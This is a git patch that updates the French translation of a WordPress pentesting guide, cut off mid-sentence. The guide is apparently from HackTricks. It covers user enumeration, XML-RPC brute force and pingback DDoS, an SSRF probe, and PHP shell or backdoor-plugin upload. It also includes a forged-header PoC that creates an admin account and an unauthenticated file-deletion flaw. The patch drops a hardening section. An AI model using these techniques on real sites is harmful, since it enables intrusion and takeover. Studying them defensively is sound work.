From 639c6ef33915709dcd28d3e7a40fc5fe25f7707f Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 09:36:01 +0000 Subject: [PATCH] Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network --- .../pentesting-web/wordpress.md | 518 +++++++++++------- src/welcome/hacktricks-values-and-faq.md | 76 +-- 2 files changed, 370 insertions(+), 224 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 9c6735f98..127832464 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -12,33 +12,33 @@ - In **wp-config.php** you can find the root password of the database. - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Fichiers principaux de WordPress** +### **Principaux fichiers WordPress** - `index.php` -- `license.txt` contient des informations utiles comme la version de WordPress installée. -- `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la création d'un nouveau site WordPress. -- Dossiers de connexion (peuvent être renommés pour les cacher) : +- `license.txt` contient des informations utiles telles que la version de WordPress installée. +- `wp-activate.php` est utilisé pour le processus d'activation par email lors de la création d'un nouveau site WordPress. +- Login folders (may be renamed to hide it): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress permettant la transmission de données avec HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés. -- `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés. -- `wp-includes/` est le répertoire où se trouvent les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets. -- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies consultables publiquement. +- `wp-content/uploads/` est le répertoire où sont stockés tous les fichiers uploadés sur la plateforme. +- `wp-includes/` est le répertoire où les fichiers core sont stockés, tels que certificats, polices, fichiers JavaScript et widgets. +- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML contenant tous les posts publics et les types de posts et taxonomies publiquement interrogeables. -**Post-exploitation** +**Post exploitation** -- Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. +- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données telles que le nom de la base, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. ### Permissions des utilisateurs -- **Administrateur** -- **Éditeur** : Publie et gère ses propres posts et ceux des autres -- **Auteur** : Publie et gère ses propres posts -- **Contributeur** : Rédige et gère ses posts mais ne peut pas les publier -- **Abonné** : Parcourt les posts et modifie son profil +- **Administrator** +- **Editor** : Publie et gère ses propres posts ainsi que ceux des autres +- **Author** : Publie et gère ses propres posts +- **Contributor** : Rédige et gère ses posts mais ne peut pas les publier +- **Subscriber** : Parcourt les posts et édite son profil ## **Énumération passive** @@ -46,7 +46,7 @@ Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html` -Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) : +Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Fichiers de liens CSS +- Fichiers CSS liés ![](<../../images/image (533).png>) @@ -68,7 +68,7 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Récupérer les thèmes +### Obtenir les thèmes ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins and Themes -Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour en découvrir la totalité, vous devrez **actively Brute Force a list of Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes). +Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour tous les découvrir, vous devrez **Brute Force activement une liste de Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes). -### Users +### Utilisateurs - **ID Brute:** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs : ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Si les réponses sont **200** ou **30X**, cela signifie que l'id est **valide**. Si la réponse est **400**, alors l'id est **invalide**. +Si les réponses sont **200** ou **30X**, cela signifie que l'**id** est **valide**. Si la réponse est **400**, alors l'**id** est **invalide**. -- **wp-json:** Vous pouvez également tenter d'obtenir des informations sur les utilisateurs en interrogeant : +- **wp-json:** Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant : ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -99,15 +99,15 @@ Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs qui ont activé cette fonctionnalité seront fournies**. +Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs pour lesquels cette fonctionnalité est activée seront fournies**. -Notez aussi que **/wp-json/wp/v2/pages** peut leak des adresses IP. +Notez également que **/wp-json/wp/v2/pages** pourrait leak des adresses IP. -- **Login username enumeration**: Lors de la connexion via **`/wp-login.php`**, le **message** est **différent**, indiquant si le **username** existe ou non. +- **Login username enumeration** : Lors de la connexion via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique si le **username** existe ou non. ### XML-RPC -Si `xml-rpc.php` est actif, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +Si `xml-rpc.php` est actif, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple). Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête : @@ -122,7 +122,7 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour effectuer un brute-force des credentials. Si vous parvenez à en trouver une, vous pouvez envoyer quelque chose comme : +**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des credentials. Si vous pouvez en trouver une, vous pouvez envoyer quelque chose comme : ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye ``` -Le message _"Incorrect username or password"_ dans une réponse avec code 200 doit s'afficher si les identifiants ne sont pas valides. +Le message _"Incorrect username or password"_ dans une réponse avec code 200 doit apparaître si les identifiants ne sont pas valides. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -En utilisant les bons identifiants, vous pouvez téléverser un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +En utilisant les bons identifiants vous pouvez upload a file. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ En utilisant les bons identifiants, vous pouvez téléverser un fichier. Dans la ``` -Il existe aussi une manière **plus rapide** de brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête : +Il existe aussi une **méthode plus rapide** pour brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête :
**Bypass 2FA** -Cette méthode est destinée aux programmes et non aux humains, et est ancienne ; par conséquent elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Cette méthode est destinée aux programmes et non aux humains, et elle est ancienne ; par conséquent elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour login avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions possibles via la console, mais vous pourrez peut-être tout de même atteindre la RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\ -Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** au même **emplacement** (provoquant ainsi un **DDoS** sur cette cible) ou vous pouvez l'utiliser pour faire **Wordpress** **scan** un **network** interne (vous pouvez indiquer n'importe quel port). +Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez faire envoyer par Wordpress une requête arbitraire vers n'importe quel hôte/port.\ +On peut s'en servir pour demander à des **milliers** de **sites** Wordpress d'**accéder** à une même **cible** (ce qui provoque un **DDoS** vers cette destination), ou bien vous pouvez l'utiliser pour faire **Wordpress** **scanner** un **réseau** interne (vous pouvez indiquer n'importe quel port). ```html pingback.ping @@ -193,7 +193,7 @@ Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpres Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert. -Consultez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS. +Regardez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Consultez l'utilisation de **`system.multicall`** dans la section précédente p ### wp-cron.php DoS -Ce fichier se trouve généralement à la racine du site Wordpress : **`/wp-cron.php`**\ -Quand ce fichier est **accessed** une requête MySQL **"heavy"** est exécutée, donc il peut être utilisé par des **attackers** pour **cause** un **DoS**.\ -De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut poser des problèmes (DoS). +Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\ +Lorsque ce fichier est **accédé**, une **heavy** MySQL **query** est exécutée, il peut donc être utilisé par des **attackers** pour **causer** un **DoS**.\ +De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut provoquer des problèmes (DoS). -Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui exécute les actions nécessaires à intervalles réguliers (sans causer de problèmes). +Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes). ### /wp-json/oembed/1.0/proxy - SSRF -Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut effectuer une requête vers vous. +Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut effectuer une requête vers vous. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Cet outil vérifie si le **methodName: pingback.ping** existe et si le chemin **/wp-json/oembed/1.0/proxy** est présent ; si c'est le cas, il tente de les exploiter. +Cet outil vérifie si **methodName: pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** sont présents, et s'ils existent, il tente de les exploiter. ## Outils automatiques ```bash @@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Obtenir l'accès en écrasant un bit +## Obtenir l'accès en modifiant un bit -Plutôt qu'une vraie attaque, il s'agit d'une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser un bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour transformer l'opération NOT (`!`) en NOP. +Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser le bit à la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour transformer l'opération NOT (`!`) en NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panneau RCE** -**Modifier un php du thème utilisé (identifiants admin nécessaires)** +**Modifier un fichier php du thème utilisé (identifiants admin requis)** Apparence → Éditeur de thème → Modèle 404 (à droite) -Remplacez le contenu par un shell php : +Remplacez le contenu par un php shell: ![](<../../images/image (384).png>) -Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Cherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -263,14 +263,14 @@ Vous pouvez utiliser : ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +pour obtenir une session. ## Plugin RCE ### PHP plugin -Il peut être possible de téléverser des fichiers .php en tant que plugin.\ -Créez votre php backdoor en utilisant par exemple : +Il peut être possible d'uploader des fichiers .php en tant que plugin.\ +Créez votre backdoor php en utilisant par exemple : ![](<../../images/image (183).png>) @@ -278,48 +278,48 @@ Puis ajoutez un nouveau plugin : ![](<../../images/image (722).png>) -Téléversez le plugin et appuyez sur Install Now : +Upload plugin et cliquez sur Install Now : ![](<../../images/image (249).png>) -Cliquez sur Procced: +Cliquez sur Procced : ![](<../../images/image (70).png>) -Probablement cela n'agira apparemment pas, mais si vous allez dans Media, vous verrez votre shell téléversé : +Probablement cela ne fera apparemment rien, mais si vous allez dans Media, vous verrez votre shell uploadé : ![](<../../images/image (462).png>) -Accédez-y et vous verrez l'URL pour exécuter la reverse shell : +Accédez-y et vous verrez l'URL pour exécuter le reverse shell : ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus s'effectue via le tableau de bord WordPress comme suit : +Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le dashboard WordPress comme suit : -1. **Acquisition du plugin** : Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374). -2. **Installation du plugin** : -- Allez dans le tableau de bord WordPress, puis `Dashboard > Plugins > Upload Plugin`. -- Téléversez le fichier zip du plugin téléchargé. -3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord. +1. **Plugin Acquisition** : Le plugin est obtenu depuis une source comme Exploit DB comme [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation** : +- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Upload the zip file of the downloaded plugin. +3. **Plugin Activation** : Une fois le plugin installé avec succès, il doit être activé via le dashboard. 4. **Exploitation** : -- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable. -- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site. -- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress. +- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. +- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. +- It's noted that this is just one of the many methods to exploit a WordPress site. -Le contenu inclut des aides visuelles montrant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette façon est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, tel que penetration testing avec permission explicite. +Le contenu inclut des aides visuelles montrant les étapes dans le dashboard WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une permission explicite. -**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## De XSS à RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** vers une **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**cet article**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il offre **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** vers **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Crée un utilisateur dans WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Téléversez votre plugin personnalisé (backdoor) dans WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Modifie les plugins intégrés dans WordPress. -- _**(RCE) Built-In Theme Edit:**_ Modifie les thèmes intégrés dans WordPress. -- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload votre plugin personnalisé (backdoor) vers WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Édite un Built-In Plugin dans WordPress. +- _**(RCE) Built-In Theme Edit:**_ Édite un Built-In Theme dans WordPress. +- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/themes tiers WordPress. ## Post Exploitation @@ -335,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Surface d'attaque -Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans celles-ci. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous trouverez comment un plugin peut exposer des fonctionnalités dans les points suivants, ainsi que des exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Une des manières dont un plugin peut exposer des fonctions aux utilisateurs est via des handlers AJAX. Ceux-ci peuvent contenir des bugs de logique, d'authorization, ou d'authentication. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentication et l'authorization sur l'existence d'un Wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress pourrait posséder** (indépendamment de son rôle). +Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des AJAX handlers. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress peut posséder** (indépendamment de son rôle). -Ce sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin : +Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin : ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**L'utilisation de `nopriv` rend l'endpoint accessible à n'importe quel utilisateur (même non authentifié).** +**L'utilisation de `nopriv` rend l'endpoint accessible par tous les utilisateurs (même non authentifiés).** > [!CAUTION] -> De plus, si la fonction ne vérifie l'autorisation de l'utilisateur qu'avec la fonction `wp_verify_nonce`, cette fonction vérifie seulement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs peu privilégiés pourraient accéder à des actions à privilèges élevés. +> De plus, si la fonction ne vérifie l'autorisation de l'utilisateur qu'avec la fonction `wp_verify_nonce`, cette fonction ne fait que vérifier que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilèges peuvent avoir accès à des actions à privilèges élevés. - **REST API** -Il est également possible d'exposer des fonctions de wordpress en enregistrant une rest AP à l'aide de la fonction `register_rest_route` : +Il est également possible d'exposer des fonctions de WordPress en enregistrant une REST API avec la fonction `register_rest_route` : ```php register_rest_route( $this->namespace, '/get/', array( @@ -365,18 +365,18 @@ $this->namespace, '/get/', array( ``` Le `permission_callback` est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API. -**Si la fonction interne `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.** +**Si la fonction intégrée `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.** -- **Accès direct au fichier PHP** +- **Accès direct au fichier php** -Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur. +Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable déclenchée simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Certains plugins implémentent des raccourcis de “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et accéder aux routes REST privilégiées en tant qu'administrateur. +Certains plugins implémentent des raccourcis de « trusted header » pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant des requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu'administrateur. - Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, généralement le premier compte administrateur). +- En-tête d'exemple : `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé. PoC @@ -393,36 +393,27 @@ Content-Length: 114 ``` Pourquoi ça fonctionne -- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les vérifications de capability. -- WordPress core attend la capability `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte du current user depuis le header. +- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les vérifications de capacités. +- WordPress core attend la capacité `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte de l'utilisateur courant depuis le header. Indicateurs de succès attendus - HTTP 201 avec un corps JSON décrivant l'utilisateur créé. -- Un nouvel admin visible dans `wp-admin/users.php`. +- Un nouvel utilisateur admin visible dans `wp-admin/users.php`. Checklist de détection - Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Revoir les enregistrements REST pour des callbacks privilégiés qui manquent de vérifications robustes `permission_callback` et qui comptent à la place sur des headers de requête. -- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur des handlers REST qui ne sont protégés que par la valeur d'un header. - -Renforcement - -- Ne jamais déduire l'authentification ou l'autorisation à partir de headers contrôlés par le client. -- Si un reverse proxy doit injecter l'identité, terminer la confiance au proxy et supprimer les copies entrantes (par ex. `unset X-Wcpay-Platform-Checkout-User` en bordure), puis passer un token signé et le vérifier côté serveur. -- Pour les routes REST exécutant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (NE PAS utiliser `__return_true`). -- Préférer l'auth first-party (cookies, application passwords, OAuth) plutôt que l'« impersonation » via headers. - -References : voir les liens à la fin de cette page pour un cas public et une analyse plus large. +- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de vérifications robustes de `permission_callback` et se reposent plutôt sur les headers de la requête. +- Chercher des usages des fonctions core de gestion des utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur des handlers REST qui ne sont filtrés que par des valeurs de header. ### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0) -Les themes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter : +Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter : -1. Un **contrôle de capability** (par ex. `current_user_can()` ou au moins `is_user_logged_in()`), et +1. Une **vérification des capacités** (par ex. `current_user_can()` ou au moins `is_user_logged_in()`), et 2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et -3. Une **sanitisation / validation stricte des entrées**. +3. **Assainissement / validation stricte des entrées**. Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) : ```php @@ -443,60 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Issues introduced by this snippet: +Problèmes introduits par cet extrait : -* **Accès non authentifié** – le hook `wp_ajax_nopriv_` est enregistré. -* **Pas de vérification du nonce / des capabilities** – tout visiteur peut appeler le endpoint. -* **Pas de sanitisation du chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin de fichier sans filtrage, permettant le classique `../../` traversal. +* **Accès non authentifié** – le `wp_ajax_nopriv_` hook est enregistré. +* **Pas de nonce / capability check** – n'importe quel visiteur peut atteindre l'endpoint. +* **Pas de path 